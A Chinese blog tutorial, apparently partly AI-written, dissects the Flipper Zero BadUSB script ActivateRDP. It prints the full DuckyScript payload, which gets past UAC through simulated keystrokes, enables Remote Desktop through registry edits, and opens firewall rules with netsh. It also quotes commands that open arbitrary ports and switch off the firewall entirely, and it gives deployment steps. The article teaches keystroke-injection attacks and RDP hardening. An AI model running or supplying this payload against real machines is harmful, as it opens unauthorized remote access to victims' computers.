news 2026/9/14 10:41:10

Flipper Zero BadUSB 实战:ActivateRDP 脚本一键开启 Windows 远程桌面(RDP)并放行防火墙

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Flipper Zero BadUSB 实战:ActivateRDP 脚本一键开启 Windows 远程桌面(RDP)并放行防火墙

Flipper Zero BadUSB 实战:ActivateRDP 脚本一键开启 Windows 远程桌面(RDP)并放行防火墙

【免费下载链接】FlipperPlayground (and dump) of stuff I make or modify for the Flipper Zero项目地址: https://gitcode.com/GitHub_Trending/fl/Flipper

导读

ActivateRDP是 UNC0V3R3D-BadUSB-Collection 中 Windows BadUSB 脚本集的一个执行类(Execution)载荷,它把 Flipper Zero 模拟成键盘,在目标 Windows 主机上自动完成"启用远程桌面连接 + 开启 RDP 认证 + 放行防火墙入站规则"三项配置。读完本文,你将理解该脚本每一行 DuckyScript 与 PowerShell 命令的作用、RDP 相关注册表键与防火墙规则的技术含义,并掌握如何安全地部署、测试和复现这套载荷。

脚本概览:一个即插即用的 RDP 开启器

按脚本自带的 readme.md 说明,这个脚本的核心用途是:

  • 允许远程连接:将目标系统切换为允许 Remote Desktop 会话进入;
  • 启用 RDP 认证:要求远程客户端通过身份验证(NLA,网络级认证)后才建立连接;
  • 允许传入的远程连接:打开 Windows 防火墙中与远程桌面相关的入站规则,确保3389端口流量不会被拦截。

使用方式也非常简单:将 Flipper Zero 通过 USB 插入目标电脑,在 BadUSB 菜单中运行脚本即可,整个过程无需人工干预。脚本作者在集合 README.md 中明确强调:所有脚本仅用于教育目的,运行前必须获得对方授权,并建议在虚拟机中先行测试。

DuckyScript 载荷逐行解析

完整的载荷位于 ActivateRDP.txt,全文如下:

REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) REM Description: Activates Remote Desktop. REM Version: 1.0 REM Category: Execution DELAY 750 WINDOWS d DELAY 1500 WINDOWS r DELAY 1500 STRING powershell Start-Process powershell -Verb runAs ENTER DELAY 750 LEFTARROW ENTER DELAY 1200 ALT y DELAY 1200 GUI UP DELAY 1200 STRING Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server' -Name fDenyTSConnections -Value 0;Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -Name UserAuthentication -Value 1;netsh advfirewall firewall set rule group='remote desktop - remotefx' new enable=Yes;netsh advfirewall firewall set rule group='remote desktop' new enable=Yes; exit ENTER

这段脚本可以拆成四个阶段来理解。

阶段一:唤醒屏幕并打开运行对话框

DELAY 750 WINDOWS d DELAY 1500 WINDOWS r DELAY 1500
  • WINDOWS d:发送Win + D,最小化所有窗口、显示桌面,避免后续按键被前台窗口"吃掉";
  • WINDOWS r:发送Win + R,呼出"运行"对话框,为输入 PowerShell 命令做准备;
  • 每步之间用DELAY预留 750~1500 毫秒,等待系统响应。这类时间参数是 DuckyScript 最常见的调优点——如果机器较慢导致按键丢失,可像集合 README 的 Troubleshooting 部分建议的那样适当增大DELAY数值。

阶段二:以管理员身份启动 PowerShell

STRING powershell Start-Process powershell -Verb runAs ENTER DELAY 750 LEFTARROW ENTER DELAY 1200 ALT y DELAY 1200
  • 在运行框中输入powershell Start-Process powershell -Verb runAs并回车,这会通过Start-Process以**管理员权限(runAs)**拉起一个新的 PowerShell 进程;
  • UAC 弹出后,LEFTARROW+ENTER用于选中"是"(Yes)按钮,ALT y则是兼容旧版本 Windows 的备选确认方式;
  • 之后所有注册表与防火墙操作都必须在管理员上下文里执行,因此这段提权流程是整个载荷能成功的前提。

阶段三:通过注册表启用远程桌面

GUI UP DELAY 1200 STRING Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server' -Name fDenyTSConnections -Value 0;...

GUI UP是作者特别加入的一步:先按Win + Up恢复窗口/刷新焦点,确保随后的长命令键入到正确的 PowerShell 窗口。核心命令分两条:

  1. 允许远程桌面连接
Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server' -Name fDenyTSConnections -Value 0

fDenyTSConnections是 Windows 远程桌面(Terminal Server)的"总开关"注册表值(DWORD)。值为1表示拒绝远程桌面连接,设为0即允许。这等价于在"系统属性 → 远程"中勾选"允许远程连接到此计算机",只是改成了命令行方式。

  1. 启用 RDP 认证(NLA)
Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -Name UserAuthentication -Value 1

RDP-Tcp是默认的 RDP 监听会话(WinStation)配置项,UserAuthentication同样是一个 DWORD 开关。设为1表示要求使用网络级身份验证(NLA,即CredSSP),客户端必须先完成身份认证才能建立远程会话,从而避免仅凭网络层信息就开放桌面,安全性高于0

阶段四:放行防火墙入站规则

STRING ...;netsh advfirewall firewall set rule group='remote desktop - remotefx' new enable=Yes;netsh advfirewall firewall set rule group='remote desktop' new enable=Yes; exit ENTER

脚本用两条netsh命令把 Windows 防火墙中与远程桌面相关的规则组全部置为启用:

  • remote desktop - remotefx:对应 RemoteFX(RemoteFX USB 重定向 / 增强体验)相关规则组;
  • remote desktop:对应常规远程桌面入站规则组(TCP 3389 等)。

命令末尾的; exit会在全部配置执行完毕后关闭管理员 PowerShell 窗口,不留痕迹地收尾。此时目标主机已开放 3389 端口,其他主机即可通过远程桌面客户端连接。

底层原理:为什么这些注册表键和防火墙规则缺一不可

从 Windows 的远程桌面实现来看,一个可被外部访问的 RDP 服务需要同时满足三层条件:

层面位置 / 命令关键项本脚本的设置
服务开关HKLM:\SYSTEM\CurrentControlSet\Control\Terminal ServerfDenyTSConnections0(允许连接)
认证策略HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-TcpUserAuthentication1(要求 NLA 认证)
网络放行netsh advfirewall firewall set rule group=...remote desktop规则组enable=Yes

若只改注册表而忽略防火墙,外网/局域网客户端的数据包会被 Windows Defender 防火墙拦截,连接必然超时;若只开防火墙而不改注册表,服务端根本不会监听 RDP。脚本把三步一次性做完,这正是它"即插即用"的可靠性来源。

值得对照的是同集合中的另外两个脚本,它们与ActivateRDP是同一套"注册表 + netsh"模式下的不同变体:

  • OpenAnyPort.txt:用netsh advfirewall firewall add rule name=... dir=in action=allow protocol=TCP or UDP localport=<端口>在防火墙上开放任意自定义端口,可作为 RDP 之外的远程通道(如反向 Shell 端口);
  • DisableFirewall.txt:用netsh advfirewall set allprofiles state off直接关闭全部防火墙配置文件的拦截。

可以看到三者在 UAC 提权、延迟节奏、PowerShell 内联命令的写法上高度一致,属于同一作者在集合 README.md 中所述的"PowerShell 驱动 DuckyScript"通用模式。区别在于:ActivateRDP走的是"精开端口 + 保留认证"的更克制路线,而DisableFirewall则是"一刀切关闭防御"的高风险做法。

部署与运行前提

根据集合 README 的安装指引,将载荷放到 Flipper Zero 上的步骤是:

  1. 克隆或下载本仓库,取得ActivateRDP目录下的 ActivateRDP.txt;
  2. 通过 qFlipper(PC 端)或 Flipper Zero 手机 App(蓝牙)连接设备;
  3. 进入SD Card → badusb目录,把.txt文件拖入其中;
  4. 在 Flipper 的 BadUSB 菜单中找到该脚本,插入目标电脑后按中间键启动。

运行前提与限制需要注意几点(以当前仓库内容为准):

  • 系统兼容性:脚本使用的WINDOWSGUIALT组合键和 UAC 交互面向 Windows 桌面版;UAC 必须处于开启状态且当前用户拥有管理员权限,否则runAs提权或ALT y确认可能无法命中正确按钮;
  • 交互时序敏感DELAY是基于普通机器响应速度设计的,系统缓慢、中文/非美式键盘布局等都会影响键入,必要时需自行增大延迟;
  • 安全边界:该载荷会持久化修改目标主机的系统配置并开放网络端口,属于高风险操作,务必只在已授权的测试环境或虚拟机中执行,切勿在未获许可的机器上运行。

结语:从一行脚本理解 Windows RDP 的配置链路

ActivateRDP的价值不仅在于"一键开 RDP",更在于它以 21 行 DuckyScript 完整演示了 Windows 远程桌面从注册表开关认证策略防火墙放行的完整配置链路。配合本仓库中 readme.md、OpenAnyPort.txt 与 DisableFirewall.txt 等文件对比学习,可以快速掌握 BadUSB 攻击面中"系统配置篡改类"载荷的通用套路,也能反向理解运维人员应如何加固远程桌面服务(关闭fDenyTSConnections开关、强制 NLA、按需收敛防火墙规则)。

【免费下载链接】FlipperPlayground (and dump) of stuff I make or modify for the Flipper Zero项目地址: https://gitcode.com/GitHub_Trending/fl/Flipper

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/14 10:40:49

SMP语言开发环境备份与恢复最佳实践

1. SMP语言备份恢复机制概述在SMP&#xff08;软件制作平台&#xff09;开发环境中&#xff0c;语言基础知识的备份与恢复是保障开发连续性的重要环节。不同于常规文件备份&#xff0c;SMP语言元素的备份需要处理语法结构、编译规则和运行时上下文等特殊数据。我曾参与过多个企…

作者头像 李华
网站建设 2026/9/14 10:37:47

InstaPy 如何手动指定 geckodriver 二进制路径?

InstaPy 如何手动指定 geckodriver 二进制路径&#xff1f; 【免费下载链接】InstaPy &#x1f4f7; Instagram Bot - Tool for automated Instagram interactions 项目地址: https://gitcode.com/GitHub_Trending/in/InstaPy InstaPy 通过 Selenium 驱动 Firefox 完成自…

作者头像 李华
网站建设 2026/9/14 10:37:27

新能源电力系统调度:鲁棒优化与N-1安全校验实践

1. 项目背景与核心挑战在新能源占比持续攀升的现代电力系统中&#xff0c;调度决策面临着前所未有的复杂性。传统调度方法在高比例可再生能源场景下暴露出三个致命缺陷&#xff1a;面对风电、光伏出力的强随机性时要么过于保守导致经济性损失&#xff0c;要么过于激进带来运行风…

作者头像 李华
网站建设 2026/9/14 10:34:38

区间覆盖贪心模型:从经典问题到跳跃游戏II的解法转换

在贪心算法里&#xff0c;区间覆盖是我最常拿来跟人“安利”的一类问题。它的贪心策略看起来非常直观——每一步都选覆盖到最远处的区间&#xff0c;可真正动手写代码时&#xff0c;很多人会栽在“什么时候计数、什么时候更新边界”这些细节上。今天这篇想聊的&#xff0c;是区…

作者头像 李华